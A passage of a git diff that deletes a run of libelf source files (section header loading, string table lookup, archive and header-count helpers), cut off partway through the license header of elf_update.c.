-	assert (parent->e_kind == ELF_K_AR);
-	assert (parent->e_cmd == ELF_C_READ);
-	assert(e->e_rawfile > parent->e_rawfile);
-
-	next = e->e_rawfile - parent->e_rawfile + e->e_rawsize;
-	next = (next + 1) & ~1;	/* round up to an even boundary */
-
-	parent->e_u.e_ar.e_next = (next >= (off_t) parent->e_rawsize) ?
-	    (off_t) 0 : next;
-
-	return (ELF_C_READ);
-}
diff --git a/src/libelf/elf_open.c b/src/libelf/elf_open.c
deleted file mode 100644
index b039431..0000000
--- a/src/libelf/elf_open.c
+++ /dev/null
@@ -1,67 +0,0 @@
-/*-
- * Copyright (c) 2011 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id$");
-
-/*
- * Extension API: open a file for reading, ignoring parse errors.
- */
-
-Elf *
-elf_open(int fd)
-{
-	if (LIBELF_PRIVATE(version) == EV_NONE) {
-		LIBELF_SET_ERROR(SEQUENCE, 0);
-		return (NULL);
-	}
-
-	return (_libelf_open_object(fd, ELF_C_READ, 0));
-}
-
-/*
- * Extension API: create an ELF descriptor for an in-memory object,
- * ignoring parse errors.
- */
-
-Elf *
-elf_openmemory(char *image, size_t sz)
-{
-	if (LIBELF_PRIVATE(version) == EV_NONE) {
-		LIBELF_SET_ERROR(SEQUENCE, 0);
-		return (NULL);
-	}
-
-	if (image == NULL || sz == 0) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	return (_libelf_memory(image, sz, 0));
-}
diff --git a/src/libelf/elf_phnum.c b/src/libelf/elf_phnum.c
deleted file mode 100644
index 5994806..0000000
--- a/src/libelf/elf_phnum.c
+++ /dev/null
@@ -1,67 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <ar.h>
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: elf_phnum.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-static int
-_libelf_getphdrnum(Elf *e, size_t *phnum)
-{
-	void *eh;
-	int ec;
-
-	if (e == NULL || e->e_kind != ELF_K_ELF ||
-	    ((ec = e->e_class) != ELFCLASS32 && ec != ELFCLASS64)) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (-1);
-	}
-
-	if ((eh = _libelf_ehdr(e, ec, 0)) == NULL)
-		return (-1);
-
-	*phnum = e->e_u.e_elf.e_nphdr;
-
-	return (0);
-}
-
-int
-elf_getphdrnum(Elf *e, size_t *phnum)
-{
-	return (_libelf_getphdrnum(e, phnum));
-}
-
-/* Deprecated API */
-int
-elf_getphnum(Elf *e, size_t *phnum)
-{
-	return (_libelf_getphdrnum(e, phnum) >= 0);
-}
diff --git a/src/libelf/elf_rand.c b/src/libelf/elf_rand.c
deleted file mode 100644
index f48f017..0000000
--- a/src/libelf/elf_rand.c
+++ /dev/null
@@ -1,59 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <ar.h>
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: elf_rand.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-off_t
-elf_rand(Elf *ar, off_t offset)
-{
-	struct ar_hdr *arh;
-
-	if (ar == NULL || ar->e_kind != ELF_K_AR ||
-	    (offset & 1) || offset < SARMAG ||
-	    offset + sizeof(struct ar_hdr) >= ar->e_rawsize) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return 0;
-	}
-
-	arh = (struct ar_hdr *) (ar->e_rawfile + offset);
-
-	/* a too simple sanity check */
-	if (arh->ar_fmag[0] != '`' || arh->ar_fmag[1] != '\n') {
-		LIBELF_SET_ERROR(ARCHIVE, 0);
-		return 0;
-	}
-
-	ar->e_u.e_ar.e_next = offset;
-
-	return (offset);
-}
diff --git a/src/libelf/elf_rawfile.c b/src/libelf/elf_rawfile.c
deleted file mode 100644
index 76cfd7f..0000000
--- a/src/libelf/elf_rawfile.c
+++ /dev/null
@@ -1,53 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: elf_rawfile.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-char *
-elf_rawfile(Elf *e, size_t *sz)
-{
-	char *ptr;
-	size_t size;
-
-	size = e ? e->e_rawsize : 0;
-	ptr = NULL;
-
-	if (e == NULL)
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-	else if ((ptr = e->e_rawfile) == NULL && e->e_cmd == ELF_C_WRITE)
-		LIBELF_SET_ERROR(SEQUENCE, 0);
-
-	if (sz)
-		*sz = size;
-
-	return (ptr);
-}
diff --git a/src/libelf/elf_scn.c b/src/libelf/elf_scn.c
deleted file mode 100644
index fe11ea5..0000000
--- a/src/libelf/elf_scn.c
+++ /dev/null
@@ -1,233 +0,0 @@
-/*-
- * Copyright (c) 2006,2008-2010 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-#include <sys/queue.h>
-
-#include <assert.h>
-#include <errno.h>
-#include <gelf.h>
-#include <libelf.h>
-#include <stddef.h>
-#include <stdlib.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: elf_scn.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-/*
- * Load an ELF section table and create a list of Elf_Scn structures.
- */
-int
-_libelf_load_section_headers(Elf *e, void *ehdr)
-{
-	int ec, swapbytes;
-	size_t fsz, i, shnum;
-	uint64_t shoff;
-	char *src;
-	Elf32_Ehdr *eh32;
-	Elf64_Ehdr *eh64;
-	Elf_Scn *scn;
-	int (*xlator)(char *_d, size_t _dsz, char *_s, size_t _c, int _swap);
-
-	assert(e != NULL);
-	assert(ehdr != NULL);
-	assert((e->e_flags & LIBELF_F_SHDRS_LOADED) == 0);
-
-#define	CHECK_EHDR(E,EH)	do {				\
-		if (fsz != (EH)->e_shentsize ||			\
-		    shoff + fsz * shnum > e->e_rawsize) {	\
-			LIBELF_SET_ERROR(HEADER, 0);		\
-			return (0);				\
-		}						\
-	} while (0)
-
-	ec = e->e_class;
-	fsz = _libelf_fsize(ELF_T_SHDR, ec, e->e_version, (size_t) 1);
-	assert(fsz > 0);
-
-	shnum = e->e_u.e_elf.e_nscn;
-
-	if (ec == ELFCLASS32) {
-		eh32 = (Elf32_Ehdr *) ehdr;
-		shoff = (uint64_t) eh32->e_shoff;
-		CHECK_EHDR(e, eh32);
-	} else {
-		eh64 = (Elf64_Ehdr *) ehdr;
-		shoff = eh64->e_shoff;
-		CHECK_EHDR(e, eh64);
-	}
-
-	xlator = _libelf_get_translator(ELF_T_SHDR, ELF_TOMEMORY, ec);
-
-	swapbytes = e->e_byteorder != LIBELF_PRIVATE(byteorder);
-	src = e->e_rawfile + shoff;
-
-	/*
-	 * If the file is using extended numbering then section #0
-	 * would have already been read in.
-	 */
-
-	i = 0;
-	if (!STAILQ_EMPTY(&e->e_u.e_elf.e_scn)) {
-		/* commented out to prevent build error
-        assert(STAILQ_FIRST(&e->e_u.e_elf.e_scn) ==
-		    STAILQ_LAST(&e->e_u.e_elf.e_scn, _Elf_Scn, s_next));*/
-
-		i = 1;
-		src += fsz;
-	}
-
-	for (; i < shnum; i++, src += fsz) {
-		if ((scn = _libelf_allocate_scn(e, i)) == NULL)
-			return (0);
-
-		(*xlator)((char *) &scn->s_shdr, sizeof(scn->s_shdr), src,
-		    (size_t) 1, swapbytes);
-
-		if (ec == ELFCLASS32) {
-			scn->s_offset = scn->s_rawoff =
-			    scn->s_shdr.s_shdr32.sh_offset;
-			scn->s_size = scn->s_shdr.s_shdr32.sh_size;
-		} else {
-			scn->s_offset = scn->s_rawoff =
-			    scn->s_shdr.s_shdr64.sh_offset;
-			scn->s_size = scn->s_shdr.s_shdr64.sh_size;
-		}
-	}
-
-	e->e_flags |= LIBELF_F_SHDRS_LOADED;
-
-	return (1);
-}
-
-
-Elf_Scn *
-elf_getscn(Elf *e, size_t index)
-{
-	int ec;
-	void *ehdr;
-	Elf_Scn *s;
-
-	if (e == NULL || e->e_kind != ELF_K_ELF ||
-	    ((ec = e->e_class) != ELFCLASS32 && ec != ELFCLASS64)) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	if ((ehdr = _libelf_ehdr(e, ec, 0)) == NULL)
-		return (NULL);
-
-	if (e->e_cmd != ELF_C_WRITE &&
-	    (e->e_flags & LIBELF_F_SHDRS_LOADED) == 0 &&
-	    _libelf_load_section_headers(e, ehdr) == 0)
-		return (NULL);
-
-	STAILQ_FOREACH(s, &e->e_u.e_elf.e_scn, s_next)
-		if (s->s_ndx == index)
-			return (s);
-
-	LIBELF_SET_ERROR(ARGUMENT, 0);
-	return (NULL);
-}
-
-size_t
-elf_ndxscn(Elf_Scn *s)
-{
-	if (s == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (SHN_UNDEF);
-	}
-	return (s->s_ndx);
-}
-
-Elf_Scn *
-elf_newscn(Elf *e)
-{
-	int ec;
-	void *ehdr;
-	Elf_Scn *scn;
-
-	if (e == NULL || e->e_kind != ELF_K_ELF) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	if ((ec = e->e_class) != ELFCLASS32 && ec != ELFCLASS64) {
-		LIBELF_SET_ERROR(CLASS, 0);
-		return (NULL);
-	}
-
-	if ((ehdr = _libelf_ehdr(e, ec, 0)) == NULL)
-		return (NULL);
-
-	/*
-	 * The application may be asking for a new section descriptor
-	 * on an ELF object opened with ELF_C_RDWR or ELF_C_READ.  We
-	 * need to bring in the existing section information before
-	 * appending a new one to the list.
-	 *
-	 * Per the ELF(3) API, an application is allowed to open a
-	 * file using ELF_C_READ, mess with its internal structure and
-	 * use elf_update(...,ELF_C_NULL) to compute its new layout.
-	 */
-	if (e->e_cmd != ELF_C_WRITE &&
-	    (e->e_flags & LIBELF_F_SHDRS_LOADED) == 0 &&
-	    _libelf_load_section_headers(e, ehdr) == 0)
-		return (NULL);
-
-	if (STAILQ_EMPTY(&e->e_u.e_elf.e_scn)) {
-		assert(e->e_u.e_elf.e_nscn == 0);
-		if ((scn = _libelf_allocate_scn(e, (size_t) SHN_UNDEF)) ==
-		    NULL)
-			return (NULL);
-		e->e_u.e_elf.e_nscn++;
-	}
-
-	assert(e->e_u.e_elf.e_nscn > 0);
-
-	if ((scn = _libelf_allocate_scn(e, e->e_u.e_elf.e_nscn)) == NULL)
-		return (NULL);
-
-	e->e_u.e_elf.e_nscn++;
-
-	(void) elf_flagscn(scn, ELF_C_SET, ELF_F_DIRTY);
-
-	return (scn);
-}
-
-Elf_Scn *
-elf_nextscn(Elf *e, Elf_Scn *s)
-{
-	if (e == NULL || (e->e_kind != ELF_K_ELF) ||
-	    (s && s->s_elf != e)) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	return (s == NULL ? elf_getscn(e, (size_t) 1) :
-	    STAILQ_NEXT(s, s_next));
-}
diff --git a/src/libelf/elf_shnum.c b/src/libelf/elf_shnum.c
deleted file mode 100644
index a06a9e4..0000000
--- a/src/libelf/elf_shnum.c
+++ /dev/null
@@ -1,67 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <ar.h>
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: elf_shnum.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-static int
-_libelf_getshdrnum(Elf *e, size_t *shnum)
-{
-	void *eh;
-	int ec;
-
-	if (e == NULL || e->e_kind != ELF_K_ELF ||
-	    ((ec = e->e_class) != ELFCLASS32 && ec != ELFCLASS64)) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (-1);
-	}
-
-	if ((eh = _libelf_ehdr(e, ec, 0)) == NULL)
-		return (-1);
-
-	*shnum = e->e_u.e_elf.e_nscn;
-
-	return (0);
-}
-
-int
-elf_getshdrnum(Elf *e, size_t *shnum)
-{
-	return (_libelf_getshdrnum(e, shnum));
-}
-
-/* Deprecated API. */
-int
-elf_getshnum(Elf *e, size_t *shnum)
-{
-	return (_libelf_getshdrnum(e, shnum) >= 0);
-}
diff --git a/src/libelf/elf_shstrndx.c b/src/libelf/elf_shstrndx.c
deleted file mode 100644
index 0a7bab9..0000000
--- a/src/libelf/elf_shstrndx.c
+++ /dev/null
@@ -1,82 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <ar.h>
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: elf_shstrndx.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-static int
-_libelf_getshdrstrndx(Elf *e, size_t *strndx)
-{
-	void *eh;
-	int ec;
-
-	if (e == NULL || e->e_kind != ELF_K_ELF ||
-	    ((ec = e->e_class) != ELFCLASS32 && ec != ELFCLASS64)) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (-1);
-	}
-
-	if ((eh = _libelf_ehdr(e, ec, 0)) == NULL)
-		return (-1);
-
-	*strndx = e->e_u.e_elf.e_strndx;
-
-	return (0);
-}
-
-int
-elf_getshdrstrndx(Elf *e, size_t *strndx)
-{
-	return (_libelf_getshdrstrndx(e, strndx));
-}
-
-int
-elf_getshstrndx(Elf *e, size_t *strndx)	/* Deprecated API. */
-{
-	return (_libelf_getshdrstrndx(e, strndx) >= 0);
-}
-
-int
-elf_setshstrndx(Elf *e, size_t strndx)
-{
-	void *eh;
-	int ec;
-
-	if (e == NULL || e->e_kind != ELF_K_ELF ||
-	    ((ec = e->e_class) != ELFCLASS32 && ec != ELFCLASS64) ||
-	    ((eh = _libelf_ehdr(e, ec, 0)) == NULL)) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	return (_libelf_setshstrndx(e, eh, ec, strndx));
-}
diff --git a/src/libelf/elf_strptr.c b/src/libelf/elf_strptr.c
deleted file mode 100644
index c79970d..0000000
--- a/src/libelf/elf_strptr.c
+++ /dev/null
@@ -1,132 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/param.h>
-
-#include <assert.h>
-#include <gelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: elf_strptr.c 2271 2011-12-03 17:06:35Z jkoshy $");
-
-/*
- * Convert an ELF section#,offset pair to a string pointer.
- */
-
-char *
-elf_strptr(Elf *e, size_t scndx, size_t offset)
-{
-	Elf_Scn *s;
-	Elf_Data *d;
-	size_t alignment, count;
-	GElf_Shdr shdr;
-
-	if (e == NULL || e->e_kind != ELF_K_ELF) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	if ((s = elf_getscn(e, scndx)) == NULL ||
-	    gelf_getshdr(s, &shdr) == NULL)
-		return (NULL);
-
-	if (shdr.sh_type != SHT_STRTAB ||
-	    offset >= shdr.sh_size) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	d = NULL;
-	if (e->e_flags & ELF_F_LAYOUT) {
-
-		/*
-		 * The application is taking responsibility for the
-		 * ELF object's layout, so we can directly translate
-		 * an offset to a `char *' address using the `d_off'
-		 * members of Elf_Data descriptors.
-		 */
-		while ((d = elf_getdata(s, d)) != NULL) {
-
-			if (d->d_buf == 0 || d->d_size == 0)
-				continue;
-
-			if (d->d_type != ELF_T_BYTE) {
-				LIBELF_SET_ERROR(DATA, 0);
-				return (NULL);
-			}
-
-			if (offset >= d->d_off &&
-			    offset < d->d_off + d->d_size)
-				return ((char *) d->d_buf + offset - d->d_off);
-		}
-	} else {
-		/*
-		 * Otherwise, the `d_off' members are not useable and
-		 * we need to compute offsets ourselves, taking into
-		 * account 'holes' in coverage of the section introduced
-		 * by alignment requirements.
-		 */
-		count = (size_t) 0;	/* cumulative count of bytes seen */
-		while ((d = elf_getdata(s, d)) != NULL && count <= offset) {
-
-			if (d->d_buf == NULL || d->d_size == 0)
-				continue;
-
-			if (d->d_type != ELF_T_BYTE) {
-				LIBELF_SET_ERROR(DATA, 0);
-				return (NULL);
-			}
-
-			if ((alignment = d->d_align) > 1) {
-				if ((alignment & (alignment - 1)) != 0) {
-					LIBELF_SET_ERROR(DATA, 0);
-					return (NULL);
-				}
-				count = roundup2(count, alignment);
-			}
-
-			if (offset < count) {
-				/* offset starts in the 'hole' */
-				LIBELF_SET_ERROR(ARGUMENT, 0);
-				return (NULL);
-			}
-
-			if (offset < count + d->d_size) {
-				if (d->d_buf != NULL)
-					return ((char *) d->d_buf +
-					    offset - count);
-				LIBELF_SET_ERROR(DATA, 0);
-				return (NULL);
-			}
-
-			count += d->d_size;
-		}
-	}
-
-	LIBELF_SET_ERROR(ARGUMENT, 0);
-	return (NULL);
-}
diff --git a/src/libelf/elf_update.c b/src/libelf/elf_update.c
deleted file mode 100644
index 900ed2a..0000000
--- a/src/libelf/elf_update.c
+++ /dev/null
@@ -1,1204 +0,0 @@
-/*-
- * Copyright (c) 2006-2011 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
